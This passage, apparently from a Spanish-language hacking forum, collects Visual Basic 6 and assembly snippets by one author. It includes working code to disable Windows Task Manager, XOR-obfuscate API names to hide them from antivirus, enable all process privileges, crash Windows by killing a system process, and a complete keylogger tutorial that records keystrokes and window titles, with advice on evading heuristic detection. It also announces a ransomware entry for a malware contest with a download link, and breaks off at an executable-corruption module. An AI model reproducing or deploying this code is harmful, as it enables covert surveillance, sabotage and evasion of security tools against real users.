Private Declare Function LoadString Lib "USER32" Alias "LoadStringA" (ByVal hInstance As Long, ByVal wID As Long, ByVal lpBuffer As String, ByVal nBufferMax As Long) As Long
Private Declare Function CallWindowProc Lib "USER32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal Hwnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Private lpPrev      As Long

Public Sub DisableTaskMgr()
    Call CreateMutexW(ByVal 0&, False, StrPtr("NTShell Taskman Startup Mutex"))                         'Windows XP
    Call CreateMutexW(ByVal 0&, False, StrPtr("Local\TASKMGR.879e4d63-6c0e-4544-97f2-1244bd3f6de0"))    'Windows 7
    Call CreateMutexW(ByVal 0&, False, StrPtr("Local\NTShell Taskman Startup Mutex"))                   'Windows Vista
    lpPrev = SetWindowLong(CreateWindowEx(&H40000, "#32770", GetTaskWinName, ByVal 0&, 0, 0, 0, 0, 0, 0, App.hInstance, ByVal 0&), (-4), AddressOf WndProc)
End Sub

Private Function GetTaskWinName() As String
    Dim hInst       As Long
    Dim sTMP        As String * 256
   
    hInst = LoadLibrary(Environ$("SYSTEMROOT") & "\SYSTEM32\TaskMgr.exe")
    If hInst Then
        GetTaskWinName = Left$(sTMP, LoadString(hInst, &H2713, sTMP, Len(sTMP)))
        Call FreeLibrary(hInst)
    End If
End Function

Private Function WndProc(ByVal Hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    If uMsg = &H40B Then
        WndProc = &H40B
    Else
        WndProc = CallWindowProc(lpPrev, Hwnd, uMsg, wParam, lParam)
    End If
End Function

El codigo habla por si solo

Solo funciona mientras nuestro proceso continue activo...

Saludos

[Ejemplo:]

Código (vb) [Seleccionar] Expandir

Option Explicit
'---------------------------------------------------------------------------------------
' Module    : mAPIObfuscation
' Author    : Karcrack
' Now$      : 29/08/2009  13:54
' Used for? : Obfuscate API Declaration
'---------------------------------------------------------------------------------------

'MSVBVM60
Private Declare Sub CopyBytes Lib "MSVBVM60" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any)
'KERNEL32
Private Declare Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As Long, ByRef lpBaseAddress As Any, ByRef lpBuffer As Any, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long
Private Declare Function IsBadReadPtr Lib "KERNEL32" (ByRef lp As Any, ByVal ucb As Long) As Long

Public Function DeObfuscateAPI(ByVal sLib As String, ByVal sFunc As String) As Boolean
    Dim lAddr           As Long
    Dim sBuff           As String * &H200
    Dim lLib            As Long
    Dim lFunc           As Long

    If App.LogMode = 0 Then GoTo OUT
   
    lAddr = App.hInstance& - Len(sBuff)
   
    Do
        lAddr = lAddr + Len(sBuff)
        If IsBadReadPtr(ByVal lAddr, Len(sBuff)) <> 0 Then GoTo OUT
        Call CopyBytes(Len(sBuff), ByVal sBuff$, ByVal lAddr&)
        lLib = InStr(1, sBuff, sLib, vbBinaryCompare)
        lFunc = InStr(1, sBuff, sFunc, vbBinaryCompare)
    Loop Until (lLib <> 0) And (lFunc <> 0)
   
    lLib = lAddr + lLib - 1
    lFunc = lAddr + lFunc - 1
   
    If WriteProcessMemory(-1, ByVal lLib&, ByVal E(sLib), Len(sLib), ByVal 0&) = 0 Then GoTo OUT
    If WriteProcessMemory(-1, ByVal lFunc&, ByVal E(sFunc), Len(sFunc), ByVal 0&) = 0 Then GoTo OUT
   
    DeObfuscateAPI = True: Exit Function
OUT:
    DeObfuscateAPI = False: Exit Function
End Function

Public Function E(ByVal s As String) As String
    Dim i               As Long
   
    For i = 1 To Len(s)
        E = E & Chr$(Asc(Mid$(s, i, 1)) Xor &HFF)
    Next i
End Function


Ejemplo:

Código (vb) [Seleccionar] Expandir

Option Explicit

'USER32
'_Private Declare Function MessageBox Lib "USER32" Alias "MessageBoxA" (ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long
Private Declare Function MessageBox Lib "ª¬º­ÌÍ" Alias "²šŒŒž˜š½‡¾" (ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long

Sub Main()
    If DeObfuscateAPI("ª¬º­ÌÍ", "²šŒŒž˜š½‡¾") = True Then
        Call MessageBox(0, "TEST", "TEST", 0)
    End If
End Sub

Creo que esta bastente claro... pero por si acaso dire que lo que hace es declarar las APIs con las cadenas encriptadas (lo que hace que en el EXE no aparezcan las cadenas...) y luego las desecripta en Ejecucion...

Código (vb) [Seleccionar] Expandir

'---------------------------------------------------------------------------------------
' Module    : mNativeTokens
' Author    : Karcrack
' Now$      : 18/08/2009  17:18
' Used for? : Get Privileges using Native API (RtlAdjustPrivilege)
' Reference :
'           http://forum.sysinternals.com/forum_posts.asp?TID=15745
'---------------------------------------------------------------------------------------

Option Explicit
'NTDLL
Private Declare Function RtlAdjustPrivilege Lib "NTDLL" (ByVal Privilege As Long, ByVal bEnablePrivilege As Long, ByVal bCurrentThread As Long, ByRef OldState As Long) As Long

Public Enum PRIVILEGES_ENUM
    SeAssignPrimaryTokenPrivilege = 3       ' Replace a process-level token
    SeAuditPrivilege = 21                   ' Generate security audits.
    SeBackupPrivilege = 17                  ' Grant all file read access (ACL Bypass)
    SeChangeNotifyPrivilege = 23            ' Receive file/folder change notifications
    SeCreateGlobalPrivilege = 30            ' Create global objects
    SeCreatePagefilePrivilege = 15          ' Create pagefile
    SeCreatePermanentPrivilege = 16         ' Create permanent shared object
    SeCreateSymbolicLinkPrivilege = 33      ' (W.VISTA) Create symbolic links
    SeCreateTokenPrivilege = 2              ' Create a token
    SeDebugPrivilege = 20                   ' Open any process (ACL Bypass)
    SeEnableDelegationPrivilege = 27        ' (W.2000) Trust users for delegation
    SeImpersonatePrivilege = 29             ' Enable thread impersonation
    SeIncreaseBasePriorityPrivilege = 14    ' Increase process priority
    SeIncreaseQuotaPrivilege = 5            ' Increase process memory quota
    SeIncreaseWorkingSetPrivilege = 30      ' (W.VISTA) Increase process WS
    SeLoadDriverPrivilege = 10              ' Load/Unload driver
    SeLockMemoryPrivilege = 4               ' Lock pages in memory
    SeMachineAccountPrivilege = 6           ' Create user account
    SeManageVolumePrivilege = 28            ' Manage files on a volume
    SeProfileSingleProcessPrivilege = 13    ' Gather process profiling info
    SeRelabelPrivilege = 32                 ' Modify object label
    SeRemoteShutdownPrivilege = 24          ' Shutdown a remote computer
    SeRestorePrivilege = 18                 ' Grant all file write access (ACL Bypass)
    SeSecurityPrivilege = 8                 ' Manage auditying and security log
    SeShutdownPrivilege = 19                ' Initiate Shutdown
    SeSyncAgentPrivilege = 26               ' (W.2000) Use directory sync services
    SeSystemEnvironmentPrivilege = 22       ' Modify firmware environment values
    SeSystemProfilePrivilege = 11           ' Gather system profiling info
    SeSystemtimePrivilege = 12              ' Change Time
    SeTakeOwnershipPrivilege = 9            ' Change object owner (ACL Bypass)
    SeTcbPrivilege = 7                      ' Idetify as a trusted, protected subsystem
    SeTimeZonePrivilege = 34                ' (W.VISTA) Change time zone
    SeTrustedCredManAccessPrivilege = 31    ' (W.VISTA) Access the Credential Manager (trusted caller)
    SeUndockPrivilege = 25                  ' Remove from docking station
    SeUnsolicitedInputPrivilege = 35        ' (ABSOL33T) Read unsolicited input (from terminal device)
End Enum

Public Function AsignPrivilege(ByVal lPriv As PRIVILEGES_ENUM, Optional ByVal bEnable As Boolean = True, Optional ByVal bThread As Long = 0, Optional ByRef lOldState As Long) As Boolean
    AsignPrivilege = (RtlAdjustPrivilege(lPriv, bEnable, bThread, lOldState) = 0)
End Function


El Enum es mas largo que el codigo

Bueno, creo que esta claro lo que hace este codigo... asigna privilegios a nuestra aplicacion utilizando un API nativa, y evitando hacer las llamadas a varias APIs para hacer esto mismo

Saludos

[Este manual forma parte de la #1 CM EZINE...]

Este manual forma parte de la #1 CM EZINE...

Indice:

• Introducción:
  
• Que es un Keylogger?
  
• Clases de Keyloggers.
  
• Para que sirven?
  
  
• Al grano:
  
• APIs.
  
• Declaraciones, Constantes y Tipos.
  
• Funciones.
  
• Código de ejemplo.
  
• Despedida y consejos.
  
  
  
  Introducción:
  
  Que es un keylogger?
  
  
  Código [Seleccionar] Expandir
  Un keylogger (Key=Tecla Logger=Registrador) es una herramienta de diagnóstico utilizada en el
desarrollo de software que se encarga de registrar las pulsaciones que se realizan sobre el teclado, para
memorizarlas en un fichero y/o enviarlas a través de Internet.
  
  Wikipedia.org
  
  Por lo tanto asumimos que registra las teclas que se presionan en el teclado.
  
  
  
  Clases de Keyloggers.
  
  Bueno, hay varios tipos de keyloggers, yo me voy a centrar en los de Software.
  
  Hay tres tipos:
  
  
  
  
  • Ring 0: Los que se ejecutan desde el núcleo del sistema, lo que los hace bastante mas difíciles de eliminar.
  • Hook: Se ejecutan en Modo Usuario y utilizan un 'Enganche' al sistema, para que cuando se presione una tecla el sistema te advierte. Este es el método que trataremos en la parte practica.
  • Otros metodos: Estos son otros metodos, normalmente peores. Por ejemplo, un keylogger que cada cierto intervalo de tiempo compruebe tecla por tecla cual esta presionada.
  
  
  
  Para que sirven?
  
  Los keyloggers registran cualquier tecla pulsada en el sistema, por lo tanto pueden servir muchas cosas. Desde observar si tus empleados entran a webs a las que no deberían. Hasta para obtener información ajena de forma oculta.
  
  
  
  Al grano:
  
  APIs:
  
  Las apis que usaremos serán las siguientes.:
  
  
  
  
  • CopyMemory: Para volcar la información del hook a una variable.
  • SetWindowsHookExA: Para establecer el hook al teclado.
  • CallNextHookEx: Para continuar con nuestro hook.
  • UnhookWindowsHookEx: Para deshacer el hook al teclado.
  • GetAsyncKeyState: Para saber si la tecla Shift esta presionada.
  • GetForegroundWindow: Para obtener la ventana que tiene el foco.
  • GetWindowTextA: Para obtener el texto de una ventana.
  
  
  
  Declaraciones, Constantes y Tipos.
  
  Constantes:
  
  WH_KEYBOARD_LL =  13 : Esta constante contiene el valor que indica al API SetWindowsHookEx que tipo de Hook es.
  
  Declaraciones Globales:
  
  KBHook : Esta declaración global indica el numero asignado a nuestro Hook de teclado.
  
  KeyData: Para almacenar las teclas recogidas antes de almacenarlas.
  
  lHwnd : Para almacenar la ultima venta activa.
  
  Tipos:
  
  KBDLLHOOKSTRUCT : Para obtener la información que nos da el Hook.
  
  
  
  Funciones:
  
  Función para habilitar o deshabilitar el hook al teclado:
  
  
  Código (vb) [Seleccionar] Expandir
  Public Sub ManageKeylogger(ByVal Enable As Boolean)
   Select Case Enable
       Case True
           KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance,0)
       Case False
           Call UnhookWindowsHookEx(KBHook)
   End Select
End Sub
  
  Función para recibir la información del AddressOf:
  
  
  Código (vb) [Seleccionar] Expandir
  Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
   Dim KeyBoardHook        As KBDLLHOOKSTRUCT
   
   If nCode = 0 Then
       CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
       With KeyBoardHook
           If .Flags = 0 Or .Flags = 1 Then
               If SaveLog(TranslateKey(.VkCode)) > 50 Then
                   Call LogToFile(App.Path & "\Log.log")
               End If
           End If
       End With
   Else
       KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
   End If
End Function
  
  Función para pasar del valor numérico de la tecla a el valor correspondiente:
  
  
  Código (vb) [Seleccionar] Expandir
  Private Function TranslateKey(ByVal KeyCode As Long) As String
   Dim LngShift            As Long
   
   'Funcion optimizada para su uso en teclados españoles.
   
   LngShift = GetAsyncKeyState(vbKeyShift)
   If KeyCode >= 58 And KeyCode <= 90 Then
       TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
   ElseIf KeyCode >= 96 And KeyCode <= 105 Then
       TranslateKey = Chr(KeyCode - 48)
   ElseIf KeyCode >= 112 And KeyCode <= 123 Then
       TranslateKey = "{F" & KeyCode - 111 & "}"
   Else
       If KeyCode = 160 Then TranslateKey = ""
       If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
       If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
       If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
       If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
       If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
       If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
       If KeyCode = 27 Then TranslateKey = "{ESC}"
       If KeyCode = 46 Then TranslateKey = "{DEL}"
       If KeyCode = 36 Then TranslateKey = "{HOME}"
       If KeyCode = 35 Then TranslateKey = "{END}"
       If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
       If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
       If KeyCode = 45 Then TranslateKey = "{PASTE}"
       If KeyCode = 144 Then TranslateKey = "{NUM}"
       If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
       If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
       If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
       If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
       If KeyCode = 13 Then TranslateKey = "{ENTER}"
       If KeyCode = 8 Then TranslateKey = "{BACK}"
       If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
       If KeyCode = 9 Then TranslateKey = "{TAB}"
       If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
       If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
       If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
       If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
       If KeyCode = 164 Then TranslateKey = "{ALT}"
       If KeyCode = 165 Then TranslateKey = "{ALTGR}"
       If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
       If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
       If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
       If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
       If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
       If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
       If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
       If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
       If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
       If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
       If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
       If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
       If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
       If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
       If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
       If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
       If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
       If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
       If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
       If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
       If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
       If KeyCode = 145 Then TranslateKey = "{ROLL}"
       If KeyCode = 44 Then TranslateKey = "{PRINT}"
       If KeyCode = 19 Then TranslateKey = "{PAUSE}"
       If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
   End If
End Function
  
  Función para guardar la información pulsada en una variable:
  
  
  Código (vb) [Seleccionar] Expandir
  Public Function SaveLog(ByVal sKey As String) As Double
   Dim aHwnd               As Long
   Dim WinText             As String
   aHwnd = GetForegroundWindow
   
   If aHwnd <> lHwnd Then
       lHwnd = aHwnd
       WinText = String$(255, Chr$(0))
       Call GetWindowText(aHwnd, WinText, Len(WinText))
       WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
       
       KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now$ & "]" & vbCrLf
   End If
   
   KeyData = KeyData & sKey
   
   SaveLog = Len(KeyData)
End Function
  
  Función para volcar la variable en un fichero:
  
  
  Código (vb) [Seleccionar] Expandir
  Public Sub LogToFile(ByVal sPath As String)
   Open sPath For Binary As #1
       Put #1, , KeyData
   Close #1
End Sub
  
  
  
  Código de ejemplo:
  
  
  Código (vb) [Seleccionar] Expandir
  Option Explicit

'|||||||||||||||||||||||
'|                     |
'|Autor: Karcrack      |
'|Fecha: 24/09/08      |
'|                     |
'|||||||||||||||||||||||


Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
Private Const WH_KEYBOARD_LL   As Long = 13

Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Public Type KBDLLHOOKSTRUCT
   VkCode                  As Long
   ScanCode                As Long
   Flags                   As Long
   Time                    As Long
   DwExtraInfo             As Long
End Type

Dim KBHook                  As Long
Dim KeyData                 As String
Dim lHwnd                   As Long

Public Sub ManageKeylogger(ByVal Enable As Boolean)
   Select Case Enable
       Case True
           KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
       Case False
           Call UnhookWindowsHookEx(KBHook)
   End Select
End Sub

Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
   Dim KeyBoardHook        As KBDLLHOOKSTRUCT
   
   If nCode = 0 Then
       CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
       With KeyBoardHook
           If .Flags = 0 Or .Flags = 1 Then
               If SaveLog(TranslateKey(.VkCode)) > 50 Then
                   Call LogToFile(App.Path & "\Log.log")
               End If
           End If
       End With
   Else
       KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
   End If
End Function

Private Function TranslateKey(ByVal KeyCode As Long) As String
   Dim LngShift            As Long
   
   'Funcion optimizada para su uso en teclados españoles.
   
   LngShift = GetAsyncKeyState(vbKeyShift)
   If KeyCode >= 58 And KeyCode <= 90 Then
       TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
   ElseIf KeyCode >= 96 And KeyCode <= 105 Then
       TranslateKey = Chr(KeyCode - 48)
   ElseIf KeyCode >= 112 And KeyCode <= 123 Then
       TranslateKey = "{F" & KeyCode - 111 & "}"
   Else
       If KeyCode = 160 Then TranslateKey = ""
       If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
       If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
       If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
       If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
       If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
       If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
       If KeyCode = 27 Then TranslateKey = "{ESC}"
       If KeyCode = 46 Then TranslateKey = "{DEL}"
       If KeyCode = 36 Then TranslateKey = "{HOME}"
       If KeyCode = 35 Then TranslateKey = "{END}"
       If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
       If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
       If KeyCode = 45 Then TranslateKey = "{PASTE}"
       If KeyCode = 144 Then TranslateKey = "{NUM}"
       If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
       If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
       If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
       If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
       If KeyCode = 13 Then TranslateKey = "{ENTER}"
       If KeyCode = 8 Then TranslateKey = "{BACK}"
       If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
       If KeyCode = 9 Then TranslateKey = "{TAB}"
       If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
       If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
       If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
       If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
       If KeyCode = 164 Then TranslateKey = "{ALT}"
       If KeyCode = 165 Then TranslateKey = "{ALTGR}"
       If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
       If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
       If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
       If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
       If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
       If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
       If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
       If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
       If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
       If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
       If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
       If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
       If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
       If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
       If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
       If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
       If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
       If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
       If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
       If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
       If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
       If KeyCode = 145 Then TranslateKey = "{ROLL}"
       If KeyCode = 44 Then TranslateKey = "{PRINT}"
       If KeyCode = 19 Then TranslateKey = "{PAUSE}"
       If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
   End If
End Function

Public Function SaveLog(ByVal sKey As String) As Double
   Dim aHwnd               As Long
   Dim WinText             As String
   aHwnd = GetForegroundWindow
   
   If aHwnd <> lHwnd Then
       lHwnd = aHwnd
       WinText = String$(255, Chr$(0))
       Call GetWindowText(aHwnd, WinText, Len(WinText))
       WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
       
       KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
   End If
   
   KeyData = KeyData & sKey
   
   SaveLog = Len(KeyData)
End Function

Public Sub LogToFile(ByVal sPath As String)
   Open sPath For Binary As #1
       Put #1, , KeyData
   Close #1
End Sub

  
  
  
  Despedida y consejos.
  
  Hasta aquí el manual, me ha llevado aproximadamente escribir y codear el manual 1 hora y 30 minutos... a ver si a la próxima supero mi marca
  
  Bueno, recomendaciones, hay muchas... entre ellas no copiéis tal cual el code, porque se hará detectable en cuestión de minutos (si no lo es ya). Para hacer indetectable este código debéis cargar las APIs en ejecución, porque la heuristica salta seguro.
  
  Saludos
  
  Happy Coding

Saludos

[cInvoke]

Bueno, despues de estar investigando he conseguido sacar el Puntero de un API llamando a DllFunctionCall@MSVBVM60.DLL...

Como todo programador de VB6 debe saber al llamar un API externa desde VB se llama a DllFunctionCall para sacar el puntero... osea, las APIs declaradas directamente desde el codigo no se agregan a la IAT...

Y bueno, decidi aprovecharme de eso

Código (vb) [Seleccionar] Expandir

Option Explicit
'---------------------------------------------------------------------------------------
' Module    : mGetAPIPtr
' Author    : Karcrack
' Now$      : 11/08/2009  13:07
' WebPage   : http://www.advancevb.com.ar
' Used for? : Get API Pointer withouth calling any external API
' Thanks.   :
'       - Cobein: Support and Unicode-ANSI function (=
'---------------------------------------------------------------------------------------

'MSVBVM60
Private Declare Function DllFunctionCall Lib "MSVBVM60" (ByRef typeAPI As tAPICall) As Long

Private Type tAPICall
    ptsLIB              As Long ' Pointer to ANSI String that contains Library
    ptsProc             As Long ' Pointer to ANSI String that contains Procedure
    lReserved           As Long ' Just reserved...
    lPointer            As Long ' Pointer to the buffer that will contain temp variables from DllFunctionCall
    lpBuffer(3)         As Long ' Buffer that will contain temp variables
End Type

Public Function GetAPIPtr(ByVal sLib As String, ByVal sProc As String) As Long
    Dim tAPI            As tAPICall
    Dim bvLib()         As Byte
    Dim bvMod()         As Byte
   
    Call Unicode2ANSI(sLib, bvLib)
    Call Unicode2ANSI(sProc, bvMod)
   
    With tAPI
        .ptsLIB = VarPtr(bvLib(0))
        .ptsProc = VarPtr(bvMod(0))
        .lReserved = &H40000
        .lPointer = VarPtr(.lpBuffer(0))
    End With
   
    GetAPIPtr = DllFunctionCall(tAPI)
End Function

'COBEIN (=
Private Sub Unicode2ANSI(ByVal sUNICODE As String, ByRef bvANSI() As Byte)
    Dim i           As Long
   
    ReDim bvANSI(Len(sUNICODE))
    For i = 1 To Len(sUNICODE)
        bvANSI(i - 1) = Asc(Mid$(sUNICODE, i, 1))
    Next i
End Sub

Con esto solo no podemos llamar a las APIs, asi que he modificado el codigo de Cobein del cInvoke
para que llama al puntero que le pases... Aqui hay un ejemplo bastante claro:

Código [Seleccionar] Expandir

http://www.box.net/shared/tbbihznz6r

Ah! Si pretendeis llamar APIs que pidan Strings recordar usar la version UNICODE de esa API (*W)

Saludos

Código (vb) [Seleccionar] Expandir

'---------------------------------------------------------------------------------------
' Module    : mBSOD
' Author    : Karcrack
' Now$      : 16/07/2009  18:08
' Used for? : Make a BSOD on W$
' Tested On : W. XP ... W. Vista (Thanks Kiash)... W. Seven (Thanks SkyWeb/Dessa)
'---------------------------------------------------------------------------------------

Option Explicit

'NTDLL
Private Declare Function CsrGetProcessId Lib "ntdll.dll" () As Long
Private Declare Function RtlAdjustPrivilege Lib "ntdll.dll" (ByVal Privilege As Long, ByVal Enable As Long, ByVal Client As Long, WasEnabled As Long) As Long
'KERNEL32
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32.dll" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long

Public Sub CrashWindows()
   Dim hProc       As Long
   
   Call GetAllPrivilegies
   
   hProc = OpenProcess(&H1F0FFF, 0&, CsrGetProcessId) ' &H1F0FFF = PROCESS_ALL_ACCESS
   Call TerminateProcess(hProc, 0&)
End Sub

Private Sub GetAllPrivilegies()
   Dim i           As Long
   
   For i = 0 To 200: Call RtlAdjustPrivilege(ByVal i&, 1, 0, 0): Next i
End Sub

Si alguien puede que lo pruebe en Windows Vista o Windows 7...

Gracias por probarlo, Kiash, SkyWeb, Dessa

Bueno, posteo esto mas que nada para estrenar el SubForo

Código (asm) [Seleccionar] Expandir

include 'win32ax.inc'
entry Main

section '.code' code readable executable
Main:
invoke IsUserAnAdmin
test eax, eax
       jz .No
invoke MessageBoxA, 0, Sip, Title, 0
       jmp .Exit
       .No:
invoke MessageBoxA, 0, No, Title, 0
       .Exit:
invoke ExitProcess, 0

;section '.data' data readable writeable
Sip db 'Si', 0
No db 'No', 0
Title db 'Somos Admin?', 0

section '.idata' import data readable
library K32, 'KERNEL32.DLL',\
S32, 'SHELL32.DLL',\
U32, 'USER32.DLL'
import K32, ExitProcess, 'ExitProcess'
import S32, IsUserAnAdmin, 'IsUserAnAdmin'
import U32, MessageBoxA, 'MessageBoxA'

Simplemente usa el API de Shell32 llamada 'IsUserAnAdmin'

Más información sobre el API:

Código [Seleccionar] Expandir

http://msdn.microsoft.com/en-us/library/bb776463.aspx

Saludos

PD:A disfrutar del SubForo!

PD2: Propongo mover los Mensajes relacionados con ASM que hay en Programacion General AQUI!

[Que es?]

Que es?
Esta es el proyecto que presento este año para el Abril Negro ([Abril Negro 2009] Concurso de desarrollo de malware)

Antes que nada definicion de Ransomware:

Ransomware es un malware [...] que mediante distintas técnicas imposibilita al dueño de un documento acceder al mismo. El modo más comúnmente utilizado es cifrar con clave dicho documento y dejar instrucciones al usuario para obtenerla, posterior al pago de "rescate".

http://es.wikipedia.org/wiki/Ransomware

Como esto es un concurso no voy a pedir rescate

Como trabaja?
Estos son los pasos que sigue el Malware:

• Enumera los ficheros accedidos recientemente
• Obtiene la ruta de estos ficheros y comprueba que todavia existen
• Los 'cifra' y agrega el codigo que mostrará el mensaje pidiendo 'rescate'

Por cierto, el codigo lleva una encriptacion bastante debil.

Descarga?
Aqui esta:

Código [Seleccionar] Expandir

http://www.box.net/shared/3oull7lb59

Solo queda decir que este es el primer malware que distribuyo

Saludos

[Codigo relativo a este post:]

Codigo relativo a este post:

[RET Exe Corruption] Corrompe cualquier Ejecutable

Código (vb) [Seleccionar] Expandir

'---------------------------------------------------------------------------------------
' Modulo    : mPatchExe
' Autor     : Karcrack
' Fecha-Hora: 07/04/2009  18:43
